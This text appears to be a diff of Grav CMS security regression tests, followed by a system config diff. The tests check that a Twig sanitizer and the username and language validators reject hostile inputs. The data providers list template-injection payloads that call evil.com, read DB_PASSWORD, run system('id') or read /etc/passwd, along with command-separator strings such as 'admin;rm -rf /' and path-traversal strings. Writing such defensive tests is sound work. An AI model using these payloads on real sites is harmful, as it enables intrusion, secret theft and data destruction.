['{{ symlink("/etc/passwd", "/tmp/link") }}', 'symlink'],
['{{ glob("/etc/*") }}', 'glob'],
];
}
// =========================================================================
// Dangerous PHP Functions (Network/SSRF)
// =========================================================================
/**
* @dataProvider providerDangerousNetwork
*/
public function testCleanDangerousTwig_BlocksNetworkFunctions(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerDangerousNetwork(): array
{
return [
['{{ curl_init("http://evil.com") }}', 'curl_init'],
['{{ curl_exec($ch) }}', 'curl_exec'],
['{{ fsockopen("evil.com", 80) }}', 'fsockopen'],
['{{ pfsockopen("evil.com", 80) }}', 'pfsockopen'],
['{{ socket_create(AF_INET, SOCK_STREAM, 0) }}', 'socket_create'],
['{{ stream_socket_client("tcp://evil.com:80") }}', 'stream_socket_client'],
];
}
// =========================================================================
// Dangerous PHP Functions (Information Disclosure)
// =========================================================================
/**
* @dataProvider providerInfoDisclosure
*/
public function testCleanDangerousTwig_BlocksInfoDisclosure(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerInfoDisclosure(): array
{
return [
['{{ phpinfo() }}', 'phpinfo'],
['{{ getenv("DB_PASSWORD") }}', 'getenv'],
['{{ get_defined_vars() }}', 'get_defined_vars'],
['{{ get_defined_functions() }}', 'get_defined_functions'],
['{{ ini_get("open_basedir") }}', 'ini_get'],
['{{ php_uname() }}', 'php_uname'],
['{{ phpversion() }}', 'phpversion'],
];
}
// =========================================================================
// Twig Environment Manipulation
// =========================================================================
/**
* @dataProvider providerTwigEnvironmentManipulation
*/
public function testCleanDangerousTwig_BlocksTwigEnvironmentManipulation(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerTwigEnvironmentManipulation(): array
{
return [
['{{ grav.twig.twig.registerUndefinedFunctionCallback("system") }}', 'registerUndefinedFunctionCallback'],
['{{ twig.twig }}', 'Direct twig.twig access'],
['{{ grav.twig.twig }}', 'grav.twig.twig access'],
['{{ twig.getFunction("x") }}', 'twig.getFunction'],
['{{ twig.addFunction(func) }}', 'twig.addFunction'],
['{{ twig.setLoader(loader) }}', 'twig.setLoader'],
['{{ core.setEscaper("html", callback) }}', 'core.setEscaper'],
];
}
// =========================================================================
// Serialization (Object Injection)
// =========================================================================
/**
* @dataProvider providerSerialization
*/
public function testCleanDangerousTwig_BlocksSerialization(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerSerialization(): array
{
return [
['{{ unserialize(user_input) }}', 'unserialize'],
['{{ serialize(object) }}', 'serialize'],
['{{ var_export(data, true) }}', 'var_export'],
];
}
// =========================================================================
// Callback Functions
// =========================================================================
/**
* @dataProvider providerCallbackFunctions
*/
public function testCleanDangerousTwig_BlocksCallbackFunctions(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerCallbackFunctions(): array
{
return [
['{{ call_user_func("system", "id") }}', 'call_user_func'],
['{{ call_user_func_array("system", ["id"]) }}', 'call_user_func_array'],
['{{ array_map("system", ["id"]) }}', 'array_map with callback'],
['{{ array_filter(arr, "system") }}', 'array_filter with callback'],
['{{ usort(arr, "system") }}', 'usort with callback'],
];
}
// =========================================================================
// Grav-specific Dangerous Access
// =========================================================================
/**
* @dataProvider providerGravDangerousAccess
*/
public function testCleanDangerousTwig_BlocksGravDangerousAccess(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
}
public static function providerGravDangerousAccess(): array
{
return [
['{{ grav.backups }}', 'grav.backups access'],
['{{ grav.gpm }}', 'grav.gpm access'],
['{{ grav.plugins.get("admin") }}', 'grav.plugins.get'],
['{{ grav.themes.get("quark") }}', 'grav.themes.get'],
['{{ session.set("admin", true) }}', 'session.set'],
['{{ cache.clear() }}', 'cache.clear'],
['{{ cache.delete("key") }}', 'cache.delete'],
['{{ obj.setProperty("key", "value") }}', 'setProperty'],
['{{ obj.setNestedProperty("a.b", "c") }}', 'setNestedProperty'],
['{{ grav.locator.findResource("user://", true) }}', 'findResource write mode'],
];
}
// =========================================================================
// Performance: Early Exit Tests
// =========================================================================
public function testCleanDangerousTwig_EarlyExitEmptyString(): void
{
$result = Security::cleanDangerousTwig('');
self::assertSame('', $result);
}
public function testCleanDangerousTwig_EarlyExitNoTwigBlocks(): void
{
$plainText = 'This is just plain text without any Twig syntax.';
$result = Security::cleanDangerousTwig($plainText);
self::assertSame($plainText, $result, 'Plain text should pass through unchanged');
}
public function testCleanDangerousTwig_EarlyExitHtmlOnly(): void
{
$html = '<div class="container"><h1>Hello World</h1><p>Some content here.</p></div>';
$result = Security::cleanDangerousTwig($html);
self::assertSame($html, $result, 'HTML without Twig should pass through unchanged');
}
// =========================================================================
// Safe Patterns (Should NOT be blocked)
// =========================================================================
/**
* @dataProvider providerSafePatterns
*/
public function testCleanDangerousTwig_AllowsSafePatterns(string $input, string $description): void
{
$result = Security::cleanDangerousTwig($input);
self::assertStringNotContainsString('{# BLOCKED:', $result, "Should NOT block: $description");
}
public static function providerSafePatterns(): array
{
return [
['{{ page.title }}', 'Page title access'],
['{{ page.content }}', 'Page content access'],
['{{ grav.config.get("site.title") }}', 'Config get (read only)'],
['{{ uri.path }}', 'URI path'],
['{% for item in collection %}{{ item.title }}{% endfor %}', 'Normal loop'],
['{{ "hello"|upper }}', 'String filter'],
['{{ date("Y-m-d") }}', 'Date function'],
['{{ dump(page) }}', 'Dump for debugging'],
['{% if page.visible %}show{% endif %}', 'Conditional'],
['{{ page.media.images }}', 'Media access'],
['{{ grav.version }}', 'Grav version'],
['{{ page.route }}', 'Page route'],
];
}
// =========================================================================
// Pattern Caching Tests
// =========================================================================
public function testCleanDangerousTwig_PatternCaching(): void
{
// First call should build patterns
$result1 = Security::cleanDangerousTwig('{{ exec("test") }}');
// Second call should use cached patterns
$result2 = Security::cleanDangerousTwig('{{ system("test") }}');
// Both should be blocked
self::assertStringContainsString('{# BLOCKED:', $result1);
self::assertStringContainsString('{# BLOCKED:', $result2);
// Verify patterns are cached using reflection
$reflection = new ReflectionClass(Security::class);
$property = $reflection->getProperty('dangerousTwigFunctionsPattern');
$property->setAccessible(true);
$cachedPattern = $property->getValue();
self::assertNotNull($cachedPattern, 'Pattern should be cached after first call');
}
}

View File

@@ -0,0 +1,227 @@
<?php
use Codeception\Util\Fixtures;
use Grav\Common\Grav;
use Grav\Common\Language\Language;
/**
* Class FilePathSecurityTest
*
* Tests for file path and language security fixes.
* Covers: GHSA-p4ww-mcp9-j6f2 (file read), GHSA-m8vh-v6r6-w7p6 (language DoS), GHSA-j422-qmxp-hv94 (backup traversal)
*
* Naming convention: test{Method}_{GHSA_ID}_{description}
*/
class FilePathSecurityTest extends \PHPUnit\Framework\TestCase
{
/** @var Grav */
protected $grav;
/** @var Language */
protected $language;
protected function setUp(): void
{
parent::setUp();
$grav = Fixtures::get('grav');
$this->grav = $grav();
$this->language = new Language($this->grav);
}
// =========================================================================
// GHSA-m8vh-v6r6-w7p6: DoS via Language Regex Injection
// =========================================================================
/**
* @dataProvider providerGHSAm8vh_InvalidLanguageCodes
*/
public function testSetLanguages_GHSAm8vh_FiltersInvalidLanguageCodes(string $lang, string $description): void
{
$this->language->setLanguages([$lang]);
$languages = $this->language->getLanguages();
self::assertNotContains($lang, $languages, "Should filter invalid language code: $description");
}
public static function providerGHSAm8vh_InvalidLanguageCodes(): array
{
return [
// Regex injection attempts
["'", 'Single quote (regex breaker)'],
['"', 'Double quote'],
['/', 'Forward slash (regex delimiter)'],
['\\', 'Backslash'],
['()', 'Empty parentheses'],
['.*', 'Regex wildcard'],
['.+', 'Regex one-or-more'],
['[a-z]', 'Regex character class'],
['en|rm -rf', 'Pipe with command'],
['(?=)', 'Regex lookahead'],
// Path traversal in language
['../en', 'Path traversal'],
['en/../../etc', 'Nested path traversal'],
// Special characters
['en;', 'Semicolon'],
['en<script>', 'HTML tag'],
['en${PATH}', 'Shell variable'],
["en\nfr", 'Newline injection'],
["en\0fr", 'Null byte injection'],
// Too short/long
['e', 'Single character (too short)'],
['englishlanguage', 'Too long without separator'],
// Invalid format
['123', 'All numbers'],
['en-', 'Trailing hyphen'],
['-en', 'Leading hyphen'],
['en--US', 'Double hyphen'],
['en_', 'Trailing underscore'],
['_en', 'Leading underscore'],
];
}
/**
* @dataProvider providerGHSAm8vh_ValidLanguageCodes
*/
public function testSetLanguages_GHSAm8vh_AllowsValidLanguageCodes(string $lang, string $description): void
{
$this->language->setLanguages([$lang]);
$languages = $this->language->getLanguages();
self::assertContains($lang, $languages, "Should allow valid language code: $description");
}
public static function providerGHSAm8vh_ValidLanguageCodes(): array
{
return [
// Standard ISO 639-1 codes
['en', 'English'],
['fr', 'French'],
['de', 'German'],
['es', 'Spanish'],
['zh', 'Chinese'],
['ja', 'Japanese'],
['ru', 'Russian'],
['ar', 'Arabic'],
['pt', 'Portuguese'],
['it', 'Italian'],
// ISO 639-2 three-letter codes
['eng', 'English (3-letter)'],
['fra', 'French (3-letter)'],
['deu', 'German (3-letter)'],
// Language with region (hyphen)
['en-US', 'English (US)'],
['en-GB', 'English (UK)'],
['pt-BR', 'Portuguese (Brazil)'],
['zh-CN', 'Chinese (Simplified)'],
['zh-TW', 'Chinese (Traditional)'],
// Language with region (underscore)
['en_US', 'English (US) underscore'],
['pt_BR', 'Portuguese (Brazil) underscore'],
// Extended subtags
['zh-Hans', 'Chinese Simplified script'],
['zh-Hant', 'Chinese Traditional script'],
['sr-Latn', 'Serbian Latin script'],
['sr-Cyrl', 'Serbian Cyrillic script'],
];
}
public function testSetLanguages_GHSAm8vh_FiltersMultipleMixedCodes(): void
{
$input = ['en', '../etc', 'fr', '.*', 'de-DE', 'invalid!', 'es'];
$this->language->setLanguages($input);
$languages = $this->language->getLanguages();
self::assertContains('en', $languages);
self::assertContains('fr', $languages);
self::assertContains('de-DE', $languages);
self::assertContains('es', $languages);
self::assertNotContains('../etc', $languages);
self::assertNotContains('.*', $languages);
self::assertNotContains('invalid!', $languages);
}
public function testSetLanguages_GHSAm8vh_HandlesEmptyArray(): void
{
$this->language->setLanguages([]);
$languages = $this->language->getLanguages();
self::assertIsArray($languages);
self::assertEmpty($languages);
}
public function testSetLanguages_GHSAm8vh_HandlesNumericValues(): void
{
// Numeric values cast to string should be filtered as invalid
$this->language->setLanguages([123, 456]);
$languages = $this->language->getLanguages();
// Numeric strings are not valid language codes
self::assertNotContains('123', $languages);
self::assertNotContains('456', $languages);
}
// =========================================================================
// GHSA-m8vh-v6r6-w7p6: Regex Delimiter Escaping Test
// =========================================================================
public function testGetAvailable_GHSAm8vh_ProperlyEscapesForRegex(): void
{
// Set some valid languages
$this->language->setLanguages(['en', 'fr', 'de']);
// Get with regex delimiter - should be properly escaped
$available = $this->language->getAvailable('/');
// The result should be usable in a regex without breaking
$pattern = '/^(' . $available . ')$/';
// This should not throw a preg error
$result = @preg_match($pattern, 'en');
self::assertNotFalse($result, 'Pattern should be valid regex');
self::assertEquals(1, $result, 'Pattern should match "en"');
}
// =========================================================================
// Edge Cases
// =========================================================================
public function testSetLanguages_EdgeCase_CaseSensitivity(): void
{
// Language codes should preserve case
$this->language->setLanguages(['EN', 'Fr', 'de-DE', 'PT-br']);
$languages = $this->language->getLanguages();
self::assertContains('EN', $languages);
self::assertContains('Fr', $languages);
self::assertContains('de-DE', $languages);
self::assertContains('PT-br', $languages);
}
public function testSetLanguages_EdgeCase_MaxLength(): void
{
// Test boundary of valid length (2-3 for language, up to 8 for region)
$this->language->setLanguages(['ab', 'abc', 'ab-12345678', 'abc-12345678']);
$languages = $this->language->getLanguages();
self::assertContains('ab', $languages);
self::assertContains('abc', $languages);
self::assertContains('ab-12345678', $languages);
self::assertContains('abc-12345678', $languages);
// These should be too long
$this->language->setLanguages(['abcd', 'ab-123456789']);
$languages = $this->language->getLanguages();
self::assertNotContains('abcd', $languages, '4-letter language code should be invalid');
self::assertNotContains('ab-123456789', $languages, '9-char region should be invalid');
}
}

View File

@@ -0,0 +1,185 @@
<?php
use Grav\Common\User\DataUser\User;
/**
* Class UsernameValidationTest
*
* Tests for username validation security fixes.
* Covers: GHSA-h756-wh59-hhjv (path traversal), GHSA-cjcp-qxvg-4rjm (uniqueness)
*
* Naming convention: test{Method}_{GHSA_ID}_{description}
*/
class UsernameValidationTest extends \PHPUnit\Framework\TestCase
{
// =========================================================================
// GHSA-h756-wh59-hhjv: Path Traversal in Username Creation
// =========================================================================
/**
* @dataProvider providerGHSAh756_PathTraversalUsernames
*/
public function testIsValidUsername_GHSAh756_BlocksPathTraversal(string $username, string $description): void
{
$result = User::isValidUsername($username);
self::assertFalse($result, "Should block path traversal: $description");
}
public static function providerGHSAh756_PathTraversalUsernames(): array
{
return [
// Basic path traversal attempts
['../admin', 'Unix path traversal to parent'],
['..\\admin', 'Windows path traversal to parent'],
['../../etc/passwd', 'Multiple level traversal'],
['..\\..\\windows\\system32', 'Windows multi-level traversal'],
// Path traversal in middle of username
['foo/../bar', 'Traversal in middle'],
['foo\\..\\bar', 'Windows traversal in middle'],
// Encoded and variant attempts
['..', 'Just double dots'],
['...', 'Triple dots containing double'],
// Attempts to escape accounts directory
['../accounts/admin', 'Escape to accounts directory'],
['..\\accounts\\admin', 'Windows escape to accounts'],
['../config/system', 'Escape to config directory'],
];
}
// =========================================================================
// GHSA-h756-wh59-hhjv: Dangerous Characters in Username
// =========================================================================
/**
* @dataProvider providerGHSAh756_DangerousCharacters
*/
public function testIsValidUsername_GHSAh756_BlocksDangerousCharacters(string $username, string $description): void
{
$result = User::isValidUsername($username);
self::assertFalse($result, "Should block dangerous character: $description");
}
public static function providerGHSAh756_DangerousCharacters(): array
{
return [
// Filesystem dangerous characters
['user/name', 'Forward slash'],
['user\\name', 'Backslash'],
['user?name', 'Question mark'],
['user*name', 'Asterisk wildcard'],
['user:name', 'Colon'],
['user;name', 'Semicolon'],
['user{name', 'Opening brace'],
['user}name', 'Closing brace'],
["user\nname", 'Newline character'],
// Hidden files (starting with dot)
['.htaccess', 'Hidden file .htaccess'],
['.env', 'Hidden file .env'],
['.gitignore', 'Hidden file .gitignore'],
['.hidden', 'Generic hidden file'],
];
}
// =========================================================================
// GHSA-cjcp-qxvg-4rjm: Username Uniqueness (Empty Username)
// =========================================================================
public function testIsValidUsername_GHSAcjcp_BlocksEmptyUsername(): void
{
self::assertFalse(User::isValidUsername(''), 'Empty username should be invalid');
}
// =========================================================================
// Valid Usernames (Should Pass Validation)
// =========================================================================
/**
* @dataProvider providerValidUsernames
*/
public function testIsValidUsername_AllowsValidUsernames(string $username, string $description): void
{
$result = User::isValidUsername($username);
self::assertTrue($result, "Should allow valid username: $description");
}
public static function providerValidUsernames(): array
{
return [
// Standard usernames
['admin', 'Simple admin username'],
['john_doe', 'Username with underscore'],
['john-doe', 'Username with hyphen'],
['john.doe', 'Username with single dot (not at start)'],
['user123', 'Username with numbers'],
['JohnDoe', 'Mixed case username'],
// Unicode usernames
['用户名', 'Chinese characters'],
['пользователь', 'Cyrillic characters'],
['ユーザー', 'Japanese characters'],
['müller', 'German umlaut'],
['josé', 'Spanish accent'],
// Edge cases that should be valid
['a', 'Single character'],
['ab', 'Two characters'],
['user.name.here', 'Multiple dots (not traversal)'],
['123456', 'All numbers'],
['user_name_with_many_underscores', 'Many underscores'],
];
}
// =========================================================================
// Boundary Tests
// =========================================================================
public function testIsValidUsername_BoundaryDotPosition(): void
{
// Dot at start is invalid (hidden file)
self::assertFalse(User::isValidUsername('.user'), 'Dot at start should be invalid');
// Dot in middle is valid
self::assertTrue(User::isValidUsername('user.name'), 'Dot in middle should be valid');
// Dot at end is valid
self::assertTrue(User::isValidUsername('user.'), 'Dot at end should be valid');
}
public function testIsValidUsername_BoundaryDoubleDotsPosition(): void
{
// Double dots anywhere should be invalid (path traversal)
self::assertFalse(User::isValidUsername('..user'), 'Double dots at start');
self::assertFalse(User::isValidUsername('user..name'), 'Double dots in middle');
self::assertFalse(User::isValidUsername('user..'), 'Double dots at end');
}
// =========================================================================
// Combined Attack Vectors
// =========================================================================
/**
* @dataProvider providerCombinedAttacks
*/
public function testIsValidUsername_BlocksCombinedAttacks(string $username, string $description): void
{
$result = User::isValidUsername($username);
self::assertFalse($result, "Should block combined attack: $description");
}
public static function providerCombinedAttacks(): array
{
return [
['../../../etc/passwd', 'Deep path traversal'],
['..\\..\\..\\windows\\system32\\config\\sam', 'Windows deep traversal'],
['./../admin', 'Hidden file + traversal'],
['admin/../../../root', 'Valid prefix + deep traversal'],
["admin\n../etc/passwd", 'Newline injection + traversal'],
['admin;rm -rf /', 'Semicolon command separator'],
['admin/etc/passwd', 'Slash in username'],
];
}
}

View File

@@ -1,242 +1,31 @@
absolute_urls: false
timezone: null
param_sep: ':'
wrapped_site: false
reverse_proxy_setup: false
force_ssl: false
force_lowercase_urls: true
custom_base_url: null
username_regex: '^[a-z0-9_-]{3,16}$'
pwd_regex: '(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,}'
intl_enabled: true
http_x_forwarded:
protocol: true
host: false
port: true
ip: true
languages:
supported: null
default_lang: null
include_default_lang: true
include_default_lang_file_extension: true
translations: true
translations_fallback: true
session_store_active: false
http_accept_language: false
override_locale: false
pages_fallback_only: false
debug: false
home:
alias: /home
hide_in_urls: false
alias: '/home'
pages:
type: regular
dirs:
- 'page://'
theme: quark
order:
by: default
dir: asc
list:
count: 20
dateformat:
default: null
short: 'jS M Y'
long: 'F jS \a\t g:ia'
publish_dates: true
process:
markdown: true
twig: false
twig_first: false
never_cache_twig: false
events:
page: true
twig: true
markdown:
extra: false
auto_line_breaks: false
auto_url_links: false
escape_markup: false
special_chars:
'>': gt
'<': lt
valid_link_attributes:
- rel
- target
- id
- class
- classes
types:
- html
- htm
- xml
- txt
- json
- rss
- atom
append_url_extension: null
expires: 604800
cache_control: null
last_modified: false
etag: true
vary_accept_encoding: false
redirect_default_code: '302'
redirect_trailing_slash: 1
redirect_default_route: 0
ignore_files:
- .DS_Store
ignore_folders:
- .git
- .idea
ignore_hidden: true
hide_empty_folders: false
url_taxonomy_filters: true
frontmatter:
process_twig: false
ignore_fields:
- form
- forms
cache:
enabled: true
check:
method: file
driver: auto
prefix: g
purge_at: '0 4 * * *'
clear_at: '0 3 * * *'
clear_job_type: standard
clear_images_by_default: false
cli_compatibility: false
lifetime: 604800
purge_max_age_days: 30
gzip: false
allow_webserver_gzip: false
redis:
socket: '0'
password: null
database: null
server: null
port: null
memcache:
server: null
port: null
memcached:
server: null
port: null
twig:
cache: true
debug: true
auto_reload: true
autoescape: true
undefined_functions: true
undefined_filters: true
safe_functions: { }
safe_filters: { }
umask_fix: false
assets:
css_pipeline: false
css_pipeline_include_externals: true
css_pipeline_before_excludes: true
css_minify: true
css_minify_windows: false
css_rewrite: true
js_pipeline: false
js_pipeline_include_externals: true
js_pipeline_before_excludes: true
js_module_pipeline: false
js_module_pipeline_include_externals: true
js_module_pipeline_before_excludes: true
js_minify: true
enable_asset_timestamp: false
enable_asset_sri: false
collections:
jquery: 'system://assets/jquery/jquery-3.x.min.js'
errors:
display: 1
display: true
log: true
log:
handler: file
syslog:
facility: local6
tag: grav
debugger:
enabled: false
provider: clockwork
censored: false
shutdown:
close_connection: true
twig: true
images:
adapter: gd
default_image_quality: 85
cache_all: false
cache_perms: '0755'
debug: false
auto_fix_orientation: true
seofriendly: false
cls:
auto_sizes: false
aspect_ratio: false
retina_scale: '1'
defaults:
loading: auto
decoding: auto
fetchpriority: auto
watermark:
image: 'system://images/watermark.png'
position_y: center
position_x: center
scale: 33
watermark_all: false
media:
enable_media_timestamp: false
unsupported_inline_types: null
allowed_fallback_types: null
auto_metadata_exif: false
upload_limit: 2097152
session:
enabled: true
initialize: true
timeout: 1800
name: grav-site
uniqueness: path
secure: false
secure_https: true
httponly: true
samesite: Lax
split: true
domain: null
path: null
gpm:
releases: testing
official_gpm_only: true
verify_peer: true
updates:
safe_upgrade: true
http:
method: auto
enable_proxy: true
proxy_url: null
proxy_cert_path: null
concurrent_connections: 5
verify_peer: true
verify_host: true
accounts:
type: regular
storage: file
avatar: gravatar
flex:
cache:
index:
enabled: true
lifetime: 60
object:
enabled: true
lifetime: 600
render:
enabled: true
lifetime: 600
strict_mode:
yaml_compat: false
twig_compat: false
blueprint_compat: false
safe_upgrade_snapshot_limit: 5